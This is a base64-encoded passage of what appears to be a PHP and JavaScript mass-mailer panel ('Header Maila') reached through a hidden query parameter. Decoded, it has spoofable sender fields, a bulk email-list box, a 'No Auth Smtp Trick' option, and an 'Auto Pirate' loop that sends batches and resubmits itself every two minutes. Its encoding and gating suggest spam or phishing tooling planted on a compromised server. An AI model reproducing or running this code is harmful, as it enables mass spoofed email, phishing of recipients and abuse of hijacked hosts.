mouc3RvcmVTdWJtaXRGb3JtID0gZnJhbWVFbGVtLmNvbnRlbnRXaW5kb3cuc3VibWl0Rm9ybTsKCQl9LCAxMDAwMCk7CgoKCTwvc2NyaXB0PgoJPC9ib2R5PgoJPC9odG1sPgoJPD9waHAKLy9ub3QgbmVjZXNzYXJ5IHRvIHByb2Nlc3MgcmVzdCBvZiBmaWxlCmV4aXQoKTsKfQoKCgoKaWYgKGlzc2V0KCRfR0VUWydtb2RlOSddKSkgewoKCT8+CgoJPHRpdGxlPgoJSGVhZGVyIE1haWxhCgk8L3RpdGxlPgoJPHN0eWxlPgoJYm9keSwgaW5wdXQsIHRleHRhcmVhewoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKCWNvbG9yOiAjZTFlMWUxOwoJfQoJYm9keXsKCQlvdmVyZmxvdy14OmhpZGRlbjsKCX0KCTwvc3R5bGU+CgoJPGJvZHkgb25sb2FkPSJ3b3JrZXIoKSI+Cgk8Y2VudGVyPgoJPD9waHAKCWlmIChpc3NldCgkX1NFU1NJT05bImF0dGFjaG1lbnQiXSkpewoJCWVjaG8gIkF0dGFjaG1lbnQ6ICIuJF9TRVNTSU9OWyJhdHRhY2htZW50Il07Cgl9Cgk/PgoJPGZvcm0gbWV0aG9kPSJwb3N0IiBpZD0ic2hpcCIgYWN0aW9uPSIiPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNtdHBfZnJvbV9lbWFpbCIgc2l6ZT0iNDUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSJTbXRwIEZyb20gRW1haWwiIHN0eWxlPSJoZWlnaHQ6IDIuNWVtOyI+PGJyPgoJPGJyPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZyb21fbmFtZSIgc2l6ZT0iNDUiIHZhbHVlPSIiIHBsYWNlaG9sZGVyPSJGcm9tIE5hbWUiIHN0eWxlPSJoZWlnaHQ6IDIuNWVtOyI+PGJyPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZyb21fZW1haWwiIHNpemU9IjQ1IiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iRnJvbSBFbWFpbCIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVwbHlfdG8iIHNpemU9IjQ1IiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iUmVwbHkgVG8gRW1haWwiIHN0eWxlPSJoZWlnaHQ6IDIuNWVtOyI+PGJyPgoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN1YmplY3QiIHNpemU9IjQ1IiB2YWx1ZT0iIiBwbGFjZWhvbGRlcj0iU3ViamVjdCIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9ImZpZWxkcyIgbmFtZT0iZmllbGRzIiBzaXplPSI0NSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IkZpZWxkcyIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+Cgk8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InRlc3RlbWFpbCIgbmFtZT0idGVzdGVtYWlsIiBzaXplPSI0NSIgdmFsdWU9IiIgcGxhY2Vob2xkZXI9IlRlc3QgRW1haWxzIENvbW1hIFNlcGFyYXRlZCIgc3R5bGU9ImhlaWdodDogMi41ZW07Ij48YnI+CglFbWFpbCBMaXN0PGJyPgoJPHRleHRhcmVhIGlkPSJtYWlsbGlzdCIgbmFtZT0ibWFpbGxpc3QiIGNvbHM9IjQ1IiByb3dzPSIxNSI+PC90ZXh0YXJlYT48YnI+CglNZXNzYWdlIENvZGU8YnI+Cgk8dGV4dGFyZWEgbmFtZT0ibXNnIiBjb2xzPSI2NSIgcm93cz0iMTUiPjwvdGV4dGFyZWE+Cgk8YnI+Cgk8c3Ryb25nPlVzZSBObyBBdXRoIFNtdHAgVHJpY2s/IDwvc3Ryb25nPgoJW1tbTm88c3ViPjxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9Im5vIiBuYW1lPSJub0F1dGhTbXRwIiB2YWx1ZT0ibm8iPjwvc3ViPl1dXSBbW1smbmJzcDsmbmJzcDtZZXM8c3ViPjxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9InllcyIgbmFtZT0ibm9BdXRoU210cCIgdmFsdWU9InllcyI+PC9zdWI+XV1dCgkJCgk8YnI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJtZXNzYWdlIj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsaXN0IiBuYW1lPSJsaXN0Ij4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlNlbmQiIHZhbHVlPSJTZW5kIE1lc3NhZ2UiIG9uQ2xpY2s9InJldHVybiBhdXRvUGlyYXRlKCdvbmNlJykiPgoKCTwvZm9ybT4KCgk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiIG9uY2xpY2s9InJldHVybiBhdXRvUGlyYXRlKCdjb250aW51b3VzJykiPltbOjpBdXRvIFBpcmF0ZTo6XV08L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKCkiIG9uY2xpY2s9ImV4cG9ydE1haWxlck9iamVjdCgpIj5bWzo6RXhwb3J0OjpdXTwvYT48YnI+PGEgaHJlZj0iamF2YXNjcmlwdDp3aW5kb3cuc3RvcCgpIiA+WFg6OlNUT1A6OlhYPC9hPjxicj4KCgk8YnI+Cgk8c3Ryb25nPgoJCQoJPGRpdiBpZD0idG9wbmF2IiBjbGFzcz0idG9wbmF2aWdhdGlvbiBzY3JvbGxpbmciPjxmb250IGNvbG9yPSJ5ZWxsb3ciPlNUQVRTOjwvZm9udD48YnIgLz4mbmJzcDsmbmJzcDs8Zm9udCBjb2xvcj0iZ3JlZW4iPlNFTlQgTUFJTFM6IDxzcGFuIGlkPSJzZW50Ij4wPC9zcGFuPjwvZm9udD48YnIgLz4KCTxmb250IGNvbG9yPSJncmVlbiI+TlVNQkVSIE9GIFJFTE9BRFM6IDxzcGFuIGlkPSJyZWxvYWRzIj4wPC9zcGFuPjwvZm9udD4KCTwvZGl2PgoJPC9zdHJvbmc+CgoJPHN0eWxlPgoJLnRvcG5hdmlnYXRpb24gewoJCXBvc2l0aW9uOnN0YXRpYzsKCX0KCS50b3BuYXZpZ2F0aW9uLnNjcm9sbGluZyB7CgkJcG9zaXRpb246Zml4ZWQ7CgkJdG9wOjMwcHg7Cgl9Cgk8L3N0eWxlPgoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJZnVuY3Rpb24gYnlOYW1lKG5hbWUpIHsKCQlyZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeU5hbWUobmFtZSlbMF07Cgl9CglmdW5jdGlvbiBieUlkKGlkKSB7CgkJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsKCX0KCWZ1bmN0aW9uIHNldFZhbHVlT2ZOYW1lKG5hbWUsIG5ld1ZhbHVlKSB7CgkJYnlOYW1lKG5hbWUpLnZhbHVlID0gbmV3VmFsdWU7Cgl9CglmdW5jdGlvbiBnZXRWYWx1ZU9mTmFtZShuYW1lKSB7CgkJcmV0dXJuIGJ5TmFtZShuYW1lKS5nZXRBdHRyaWJ1dGUoInZhbHVlIik7Cgl9CglmdW5jdGlvbiBzZXRBdHRyaWJ1dGVPZk5hbWUobmFtZSwgYXR0cmlidXRlTmFtZSwgbmV3VmFsdWUpIHsKCQlieU5hbWUobmFtZSkuc2V0QXR0cmlidXRlKGF0dHJpYnV0ZU5hbWUsIG5ld1ZhbHVlKTsKCX0KCWZ1bmN0aW9uIGdldFZhbHVlT2ZJZChpZCkgewoJCXJldHVybiBieUlkKGlkKS5nZXRBdHRyaWJ1dGUoInZhbHVlIik7Cgl9CglmdW5jdGlvbiBzZXRWYWx1ZU9mSWQoaWQsIG5ld1ZhbHVlKSB7CgkJYnlJZChpZCkuc2V0QXR0cmlidXRlKCJ2YWx1ZSIsIG5ld1ZhbHVlKTsKCX0KCWZ1bmN0aW9uIHNldEF0dHJpYnV0ZU9mSWQoaWQsIGF0dHJpYnV0ZU5hbWUsIG5ld1ZhbHVlKSB7CgkJYnlJZChpZCkuc2V0QXR0cmlidXRlKGF0dHJpYnV0ZU5hbWUsIG5ld1ZhbHVlKTsKCX0KCWZ1bmN0aW9uIGdsdWUoKSB7CgkJdmFyIHRlc3RFbWFpbElucHV0ID0gbWFpbGVyT2JqZWN0RigpLnRlc3RlbWFpbDsKCQl2YXIgZmllbGRzSW5wdXQgPSBtYWlsZXJPYmplY3RGKCkuZmllbGRzOwoJCXZhciBtYWlsTGlzdElucHV0ID0gYnlOYW1lKCJtYWlsbGlzdCIpLnZhbHVlOwoJCXZhciBwYXJ0cyA9IFtmaWVsZHNJbnB1dCwgbWFpbExpc3RJbnB1dCwgdGVzdEVtYWlsSW5wdXRdOwoJCXNldFZhbHVlT2ZOYW1lKCdsaXN0JywgcGFydHMuam9pbigiXG4iKSk7CgkJLy90ZXN0IGlmIHRoZXJlIGFyZSBzdHJhbmdlIGNoYXJhY3RlcnMgaW4gbWVzc2FnZQoJCXZhciBtc2dWYWx1ZTsKCQl0cnkgewoJCQltc2dWYWx1ZSA9IGJ0b2EobWFpbGVyT2JqZWN0RigpLm1zZyk7CgkJfQoJCWNhdGNoIChlKSB7CgkJCXZhciBlbmNvZGVkU3RyID0gZW5jb2RlSFRNTChtYWlsZXJPYmplY3RGKCkubXNnKS5yZXBsYWNlKC9bXHUwMEEwLVx1OTk5OTw+XCZdL2csIGZ1bmN0aW9uIChpKSB7CgkJCQlyZXR1cm4gJyYjJyArIGkuY2hhckNvZGVBdCgwKSArICc7JzsKCQkJfSk7CgkJCW1zZ1ZhbHVlID0gdXRvYShtYWlsZXJPYmplY3RGKCkubXNnKTsKCQl9CgkJc2V0VmFsdWVPZk5hbWUoJ21lc3NhZ2UnLCBtc2dWYWx1ZSk7Cgl9CgkKCWZ1bmN0aW9uIHV0b2EoZGF0YSkgewoJCXJldHVybiBidG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChkYXRhKSkpOwoJfQoJCglmdW5jdGlvbiBlbmNvZGVIVE1MKHN0cil7CgkJcmV0dXJuIHN0ci5yZXBsYWNlKC8oW1x1MDBBMC1cdTk5OTk8PiZdKSgufCQpL2csIGZ1bmN0aW9uKGZ1bGwsIGNoYXIsIG5leHQpIHsKCQlpZihjaGFyICE9PSAnJicgfHwgbmV4dCAhPT0gJyMnKXsKCQkJaWYoL1tcdTAwQTAtXHU5OTk5PD4mXS8udGVzdChuZXh0KSkKCQkJbmV4dCA9ICcmIycgKyBuZXh0LmNoYXJDb2RlQXQoMCkgKyAnOyc7CgoJCQlyZXR1cm4gJyYjJyArIGNoYXIuY2hhckNvZGVBdCgwKSArICc7JyArIG5leHQ7CgkJfQoKCQlyZXR1cm4gZnVsbDsKCQl9KTsKCX0KCWZ1bmN0aW9uIHByZWZpbGwoKSB7CgkJdmFyIGlucHV0cyA9IFsnc210cF9mcm9tX2VtYWlsJywgJ2Zyb21fbmFtZScsICdmcm9tX2VtYWlsJywgJ3JlcGx5X3RvJywgJ3N1YmplY3QnLCAnZmllbGRzJywgJ3Rlc3RlbWFpbCcsICdtc2cnXTsKCQkvL2RlZmF1bHQKCQlzZXRBdHRyaWJ1dGVPZklkKCJubyIsICJjaGVja2VkIiwgImNoZWNrZWQiKTsKCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QgIT0gJ3VuZGVmaW5lZCcpIHsKCQkJdmFyIG1haWxlck9iamVjdCA9IEpTT04ucGFyc2UobG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCk7CgkJCWZvciAodmFyIGkgPSAwOyBpIDwgaW5wdXRzLmxlbmd0aDsgaSsrKSB7CgkJCQlzZXRWYWx1ZU9mTmFtZShpbnB1dHNbaV0sIG1haWxlck9iamVjdFtpbnB1dHNbaV1dKTsKCQkJfQoJCQkvL3doZXRoZXIgdG8gdXNlIG5vIGF1dGggc210cCB0cmljawoJCQlpZiAobWFpbGVyT2JqZWN0Wydub0F1dGhTbXRwJ10gPT0gInllcyIpIHsKCQkJCXNldEF0dHJpYnV0ZU9mSWQoInllcyIsICJjaGVja2VkIiwgImNoZWNrZWQiKTsKCQkJfQoJCQllbHNlIHsKCQkJCXNldEF0dHJpYnV0ZU9mSWQoIm5vIiwgImNoZWNrZWQiLCAiY2hlY2tlZCIpOwoJCQl9CgkJfQoJfQoJZnVuY3Rpb24gbG9nKHdoYXQpIHsKCQlpZiAodHlwZW9mIGxvY2FsU3RvcmFnZS5zaWxlbmNlICE9ICd1bmRlZmluZWQnICYmCgkJCWxvY2FsU3RvcmFnZS5zaWxlbmNlICE9ICd5ZXMnKSB7CgkJCWNvbnNvbGUubG9nKHdoYXQpOwoJCX0KCX0KCS8vdGhpcyBtZXRob2QgbWlnaHQgcGVyZm9yYXRlIGhvbGVzIGluIHRoZSBwcm9ncmFtIG5lZWQgdG8gCgkvL2JlIG1vcmUgc3BlY2lmaWMgYWJvdXQgcmV0dXJuIHR5cGUKCWZ1bmN0aW9uIGluY3JlbWVudChsaW5rKSB7CgkJdmFyIHBhcnRzID0gbGluay5zcGxpdCgnLCcpOwoJCWlmIChwYXJ0cy5sZW5ndGggPCAzKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJdmFyIHN0YXJ0ID0gcGFydHNbMV07CgkJdmFyIHN0b3AgPSBwYXJ0c1syXTsKCQl2YXIgbnVzdGFydCA9IHBhcnNlSW50KHBhcnRzWzFdKSArIDE7CgkJaWYgKG51c3RhcnQgPCBwYXJzZUludChzdG9wKSkgewoJCQlwYXJ0c1sxXSA9IG51c3RhcnQudG9TdHJpbmcoKTsKCQkJcmV0dXJuIHBhcnRzLmpvaW4oJywnKTsKCQl9CgkJZWxzZSB7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9CglmdW5jdGlvbiBhZGRUb1NlbnQobGluZSkgewoJCS8vbGV0cyByZW1vdmUgaXQgZnJvbSBsYXN0IHNlbnQgYmF0Y2guCgkJaWYgKHR5cGVvZiBsb2NhbFN0b3JhZ2UubGFzdEJhdGNoICE9ICd1bmRlZmluZWQnKSB7CgkJCWxvY2FsU3RvcmFnZS5sYXN0QmF0Y2ggPSBsb2NhbFN0b3JhZ2UubGFzdEJhdGNoLnJlcGxhY2UobGluZSArICJcbiIsICcnKTsKCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9IGxvY2FsU3RvcmFnZS5sYXN0QmF0Y2gucmVwbGFjZShsaW5lLCAnJyk7CgkJfQoJCXZhciBudW1NYWlsU2VudCA9IDA7CgkJaWYgKHR5cGVvZiBsb2NhbFN0b3JhZ2UubnVtTWFpbFNlbnQgIT0gInVuZGVmaW5lZCIpIHsKCQkJbnVtTWFpbFNlbnQgPSBOdW1iZXIobG9jYWxTdG9yYWdlLm51bU1haWxTZW50KTsKCQl9CgkJbG9jYWxTdG9yYWdlLm51bU1haWxTZW50ID0gbnVtTWFpbFNlbnQgKyAxOwoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZW50JykuaW5uZXJIVE1MID0gbG9jYWxTdG9yYWdlLm51bU1haWxTZW50OwoJfQoJZnVuY3Rpb24gYWRkVG9GYWlsZWQoKSB7CgkJdmFyIG51bU1haWxGYWlsZWQgPSAwOwoJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLm51bU1haWxGYWlsZWQgIT0gInVuZGVmaW5lZCIpIHsKCQkJbnVtTWFpbEZhaWxlZCA9IE51bWJlcihsb2NhbFN0b3JhZ2UubnVtTWFpbEZhaWxlZCk7CgkJfQoJCWxvY2FsU3RvcmFnZS5udW1NYWlsRmFpbGVkID0gbnVtTWFpbEZhaWxlZCArIDE7Cgl9CglmdW5jdGlvbiBzdWJtaXRGb3JtKCkgewoJCWxvZyh0aGlzLmNhbGxlcik7CgkJLy93aW5kb3cuc3RvcCgpOwoJCWJ5SWQoJ3NoaXAnKS5zdWJtaXQoKTsKCQkvL29ubHkgZG8gdGhpcyBpZiB3ZSdyZSBpbiBhdXRvIHBpcmF0ZSBtb2RlLgoJCXZhciBtYWlsZXJPYmplY3QgPSBpbml0TWFpbGVyT2JqZWN0KCk7CgkJaWYgKG1haWxlck9iamVjdC5tYWlsbGlzdC5sZW5ndGggPiAwKSB7CgkJCWxvZygicmVzdWJtaXR0aW5nIGZvcm0iKTsKCQkJc2V0VGltZW91dChmdW5jdGlvbiAoKSB7IHN1Ym1pdEZvcm0oKTsgfSwgMTIwMDAwKTsKCQl9Cgl9CglmdW5jdGlvbiBpbml0TWFpbGVyT2JqZWN0KCkgewoJCWlmICh0eXBlb2YgbWFpbGVyT2JqZWN0RigpID09ICd1bmRlZmluZWQnKSB7CgkJCWlmKHR5cGVvZiBsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0ID09ICd1bmRlZmluZWQnKXsKCQkJCWxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QgPSAie30iOwoJCQl9CgkJCXNldE1haWxlck9iamVjdChKU09OLnBhcnNlKGxvY2FsU3RvcmFnZS5tYWlsZXJPYmplY3QpKTsKCQl9CgkJcmV0dXJuIG1haWxlck9iamVjdEYoKTsKCX0KCWZ1bmN0aW9uIG1haWxlck9iamVjdEYoKSB7CgkJcmV0dXJuIHdpbmRvdy5tYWlsZXJPYmplY3Q7Cgl9CglmdW5jdGlvbiBzZXRNYWlsZXJPYmplY3QobWFpbGVyT2JqZWN0KSB7CgkJd2luZG93Lm1haWxlck9iamVjdCA9IG1haWxlck9iamVjdDsKCX0KCWZ1bmN0aW9uIHNldE1haWxlck9iamVjdEtleShrZXksIHZhbHVlKSB7CgkJd2luZG93Lm1haWxlck9iamVjdFtrZXldID0gdmFsdWU7Cgl9CglmdW5jdGlvbiBzZXRXaW5kb3dQcm9wZXJ0eShrZXksIHZhbHVlKSB7CgkJd2luZG93LmtleSA9IHZhbHVlOwoJfQoJZnVuY3Rpb24gYXV0b1BpcmF0ZSh3aGF0KSB7CgkJbG9jYWxTdG9yYWdlLm51bWJlck9mUmVsb2FkcyA9IDA7CgkJdmFyIHBlclNlbmQ7CgkJaWYgKHdoYXQgPT0gIm9uY2UiKSB7CgkJCXBlclNlbmQgPSBieU5hbWUoJ21haWxsaXN0JykudmFsdWUuc3BsaXQoIlxuIikubGVuZ3RoOwoJCX0KCQllbHNlIHsKCQkJcGVyU2VuZCA9IE51bWJlcihwcm9tcHQoJ2hvdyBtYW55IGVtYWlscyB0byBzZW5kIGVhY2ggdGltZT8nLCBTdHJpbmcoNTAwKSkpOwoJCQkvL3BlclNlbmQgPSBwYXJzZUludChwZXJTZW5kKTsKCQl9CgkJdmFyIGlucHV0cyA9IFsnc210cF9mcm9tX2VtYWlsJywgJ2Zyb21fbmFtZScsICdmcm9tX2VtYWlsJywgJ3JlcGx5X3RvJywgJ3N1YmplY3QnLCAnZmllbGRzJywgJ3Rlc3RlbWFpbCcsICdtc2cnXTsKCQlzZXRNYWlsZXJPYmplY3Qoe30pOwoJCWZvciAodmFyIGkgPSAwOyBpIDwgaW5wdXRzLmxlbmd0aDsgaSsrKSB7CgkJCXNldE1haWxlck9iamVjdEtleShpbnB1dHNbaV0sIGJ5TmFtZShpbnB1dHNbaV0pLnZhbHVlKTsKCQl9CgkJdmFyIG1haWxsaXN0ID0gYnlOYW1lKCdtYWlsbGlzdCcpLnZhbHVlLnNwbGl0KCJcbiIpOwoJCS8vc2V0V2luZG93UHJvcGVydHkoIm1haWxsaXN0IiwgbWFpbGxpc3QpOwoJCWxvY2FsU3RvcmFnZS50b3RhbCA9IG1haWxsaXN0Lmxlbmd0aDsKCQl2YXIga2VlcEZpcnN0SXRlbSA9IG1haWxsaXN0WzBdOwoJCXZhciB0aGlzTWFpbGxpc3QgPSBtYWlsbGlzdC5zcGxpY2UoMCwgcGVyU2VuZCk7IC8vbWFpbHMgdG8gc2VuZCBub3cKCQlpZiAod2hhdCAhPSAnb25jZScpIHsKCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9IHRoaXNNYWlsbGlzdC5qb2luKCJcbiIpOwoJCX0KCQllbHNlIHsKCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9ICcnOwoJCX0KCQl2YXIgZmlyc3RMZXR0ZXJzID0ga2VlcEZpcnN0SXRlbS5zdWJzdHIoMCwgNyk7CgkJaWYgKGZpcnN0TGV0dGVycyA9PSAnaHR0cDovLycgfHwgZmlyc3RMZXR0ZXJzID09ICdodHRwczovJykgewoJCQl2YXIgbnVsaW5rID0gaW5jcmVtZW50KGtlZXBGaXJzdEl0ZW0pOwoJCQl2YXIgdGVtcE1haWxMaXN0ID0gKHR5cGVvZiAobnVsaW5rKSA9PSAic3RyaW5nIikgPyBbbnVsaW5rXSA6IFtdOwoJCQlzZXRNYWlsZXJPYmplY3RLZXkoIm1haWxsaXN0IiwgdGVtcE1haWxMaXN0KTsKCQl9CgkJZWxzZSB7CgkJCXZhciB0ZW1wTWFpbExpc3QgPSBtYWlsbGlzdDsgLy9yZW1haW5pbmcgZW1haWxzCgkJCXNldE1haWxlck9iamVjdEtleSgibWFpbGxpc3QiLCB0ZW1wTWFpbExpc3QpOwoJCX0KCQlpZiAoYnlJZCgneWVzJykuY2hlY2tlZCkgewoJCQltYWlsZXJPYmplY3RGKCkubm9BdXRoU210cCA9ICJ5ZXMiOwoJCX0KCQllbHNlIHsKCQkJbWFpbGVyT2JqZWN0RigpLm5vQXV0aFNtdHAgPSAibm8iOwoJCX0KCQltYWlsZXJPYmplY3RGKCkucGVyU2VuZCA9IHBlclNlbmQ7CgkJLy9zdG9yZSBtYWlsZXJPYmplY3QKCQlsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0ID0gSlNPTi5zdHJpbmdpZnkobWFpbGVyT2JqZWN0RigpKTsKCQlsb2NhbFN0b3JhZ2UucGVyU2VuZCA9IHBlclNlbmQ7CgkJYnlOYW1lKCdtYWlsbGlzdCcpLnZhbHVlID0gdGhpc01haWxsaXN0LmpvaW4oIlxuIik7CgkJZ2x1ZSgpOwoJCWxvY2FsU3RvcmFnZS5udW1NYWlsU2VudCA9IDA7CgkJbG9jYWxTdG9yYWdlLm51bU1haWxGYWlsZWQgPSAwOwoJCXN1Ym1pdEZvcm0oKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CglmdW5jdGlvbiBwaXJhdGUoKSB7CgkJbG9nKHRoaXMuY2FsbGVyKTsKCQkvL3JlcXVldWUgYW55IGxlZnQgb3ZlciBhdXRvbWF0aWNhbGx5IGFueXRpbWUgdGhpcyBmdW5jdGlvbiB3YXMgY2FsbGVkLgoJCXJlcXVldWUoKTsKCQkvL2NoZWNrIHRvIHNlZSBpZiB0aGVyZSBpcyBzb21lIGVtYWlscyB0byBiZSBzZW50LgoJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCAhPSAndW5kZWZpbmVkJykgewoJCQl2YXIgaW5wdXRzID0gWydzbXRwX2Zyb21fZW1haWwnLCAnZnJvbV9uYW1lJywgJ2Zyb21fZW1haWwnLCAncmVwbHlfdG8nLCAnc3ViamVjdCcsICdmaWVsZHMnLCAndGVzdGVtYWlsJywgJ21zZyddOwoJCQlzZXRNYWlsZXJPYmplY3QoSlNPTi5wYXJzZShsb2NhbFN0b3JhZ2UubWFpbGVyT2JqZWN0KSk7CgkJCWZvciAodmFyIGkgPSAwOyBpIDwgaW5wdXRzLmxlbmd0aDsgaSsrKSB7CgkJCQlzZXRNYWlsZXJPYmplY3RLZXkoaW5wdXRzW2ldLCBieU5hbWUoaW5wdXRzW2ldKS52YWx1ZSk7CgkJCX0KCQkJaWYgKG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5sZW5ndGggPiAwKSB7CgkJCQkvL2lmIG1haWxsaXN0IGlzIHNtYWxsIHNlbmQgYSBtZXNzYWdlIHJlcXVlc3RpbmcgZm9yIG1vcmUuCgkJCQlpZiAobWFpbGVyT2JqZWN0RigpLm1haWxsaXN0Lmxlbmd0aCA8IDIwMCkgewoJCQkJCXRyeSB7CgkJCQkJCXBhcmVudC5sb2FkTWFpbHMoKTsKCQkJCQl9CgkJCQkJY2F0Y2ggKGUpIHsgfQoJCQkJfQoJCQkJLy9tYWlsbGlzdCB3aWxsIGJlIHB1bGxlZCBmcm9tIG1haWxlck9iamVjdC4KCQkJCXZhciBrZWVwRmlyc3RJdGVtID0gbWFpbGVyT2JqZWN0RigpLm1haWxsaXN0WzBdOwoJCQkJdmFyIHRoaXNNYWlsbGlzdCA9IG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5zcGxpY2UoMCwgTnVtYmVyKGxvY2FsU3RvcmFnZS5wZXJTZW5kKSkuam9pbigiXG4iKTsKCQkJCWJ5TmFtZSgnbWFpbGxpc3QnKS52YWx1ZSA9IHRoaXNNYWlsbGlzdDsKCQkJCWxvY2FsU3RvcmFnZS5sYXN0QmF0Y2ggPSB0aGlzTWFpbGxpc3Q7CgkJCQl2YXIgZmlyc3RMZXR0ZXJzID0ga2VlcEZpcnN0SXRlbS5zdWJzdHIoMCwgNyk7CgkJCQlpZiAoZmlyc3RMZXR0ZXJzID09ICdodHRwOi8vJyB8fCBmaXJzdExldHRlcnMgPT0gJ2h0dHBzOi8nKSB7CgkJCQkJdmFyIG51bGluayA9IGluY3JlbWVudChrZWVwRmlyc3RJdGVtKTsKCQkJCQlpZiAodHlwZW9mIG51bGluayA9PSAnc3RyaW5nJykgewoJCQkJCQltYWlsZXJPYmplY3RGKCkubWFpbGxpc3QgPSAodHlwZW9mIChudWxpbmspID09ICJzdHJpbmciKSA/IFtudWxpbmtdIDogW107CgkJCQkJfQoJCQkJCWVsc2UgewoJCQkJCQlhbGVydCgibWFsZm9ybWVkIGVtYWlsIGxpc3QgdXJsIik7CgkJCQkJfQoJCQkJfQoJCQkJbG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCA9IEpTT04uc3RyaW5naWZ5KG1haWxlck9iamVjdEYoKSk7CgkJCQkvL2FsZXJ0KCdzZW5kaW5nJyk7CgkJCQlnbHVlKCk7CgkJCQlzdWJtaXRGb3JtKCk7CgkJCQkvL2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzaGlwJykuc3VibWl0KCk7CgkJCX0KCQl9Cgl9CglmdW5jdGlvbiByZXF1ZXVlKCkgewoJCWlmICh0eXBlb2YgbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCAhPSAndW5kZWZpbmVkJykgewoJCQkvL3dpcGluZyBvZmYgbGFzdGJhdGNoIHNvIGl0IGlzIG5vdCByZXRyaWVkCgkJCS8vY29zIGRpcmVjdHNlbmQgaXMgZmluaWNreQoJCQlpZiAobG9jYXRpb24uaHJlZi5pbmRleE9mKCdkaXJlY3RzZW5kJykgIT0gLTEpIHsKCQkJCWxvY2FsU3RvcmFnZS5sYXN0QmF0Y2ggPSAnJzsKCQkJfQoJCQl2YXIgbGFzdEJhdGNoID0gbG9jYWxTdG9yYWdlLmxhc3RCYXRjaC5tYXRjaCgvW15cblxyXSsvZyk7CgkJCS8vbmVlZCB0byBhcHBlbmQgbGFzdGJhdGNoIHRvIG1haWxlck9iamVjdAoJCQlpbml0TWFpbGVyT2JqZWN0KCk7CgkJCWlmIChsYXN0QmF0Y2ggIT0gbnVsbCkgewoJCQkJbWFpbGVyT2JqZWN0RigpLm1haWxsaXN0ID0gbWFpbGVyT2JqZWN0RigpLm1haWxsaXN0LmNvbmNhdChsYXN0QmF0Y2gpOwoJCQkJLy9uZWVkIHRvIHNhdmUgb2JqZWN0IGp1c3QgaW4gY2FzZSBzb21ldGhpbmcgZ29lcyB3cm9uZwoJCQkJLy9hbmQgdGhlcmUgd2FzIG5vIGNoYW5jZSB0byB3cml0ZSBpdCBiYWNrLgoJCQkJbG9jYWxTdG9yYWdlLm1haWxlck9iamVjdCA9IEpTT04uc3RyaW5naWZ5KG1haWxlck9iamVjdEYoKSk7CgkJCX0KCQkJbG9jYWxTdG9yYWdlLmxhc3RCYXRjaCA9ICcnOwoJCX0KCX0KCWZ1bmN0aW9uIHNlbmRpbmdUaW1lcigpIHsKCQkvL21haWxvYmplY3QubWFpbGxpc3QgY2hlY2sgbWVhbnMgYW55IGxhc3QgbGVmdG92ZXIgaW4gbGFzdGJhdGNoCgkJLy93aWxsIG5vdCBiZSBzZW50IGlmIG1haWxsaXN0IGlzIGVtcHR5LiBuZWVkIHRvIGNvcnJlY3QgdGhhdC4KCQlpZiAodHlwZW9mIHdpbmRvdy5zdGFydENoZWNraW5nICE9ICd1bmRlZmluZWQnICYmCgkJCXR5cGVvZiBtYWlsZXJPYmplY3RGKCkgIT0gInVuZGVmaW5lZCIgJiYKCQkJKG1haWxlck9iamVjdEYoKS5tYWlsbGlzdC5sZW5ndGggPiAwIHx8CgkJCQlsb2NhbFN0b3JhZ2UubGFzdEJhdGNoLmxlbmd0aCA+IDApKSB7CgkJCXdpbmRvdy5zY3JvbGxUbygwLCAwKTsKCQkJLy9iZWZvcmUgcGlyYXRlIGlzIGNhbGxlZCBpbiwgd2Ugc2hvdWxkIG1vdmUgCgkJCS8vdW5zZW50IGluIGxhc3QgYmF0Y2ggYmFjayBpbnRvIHRoZSBxdWV1ZQoJCQlsb2coJ3RpbWUgdXAhIHJlc2VuZGluZycpOwo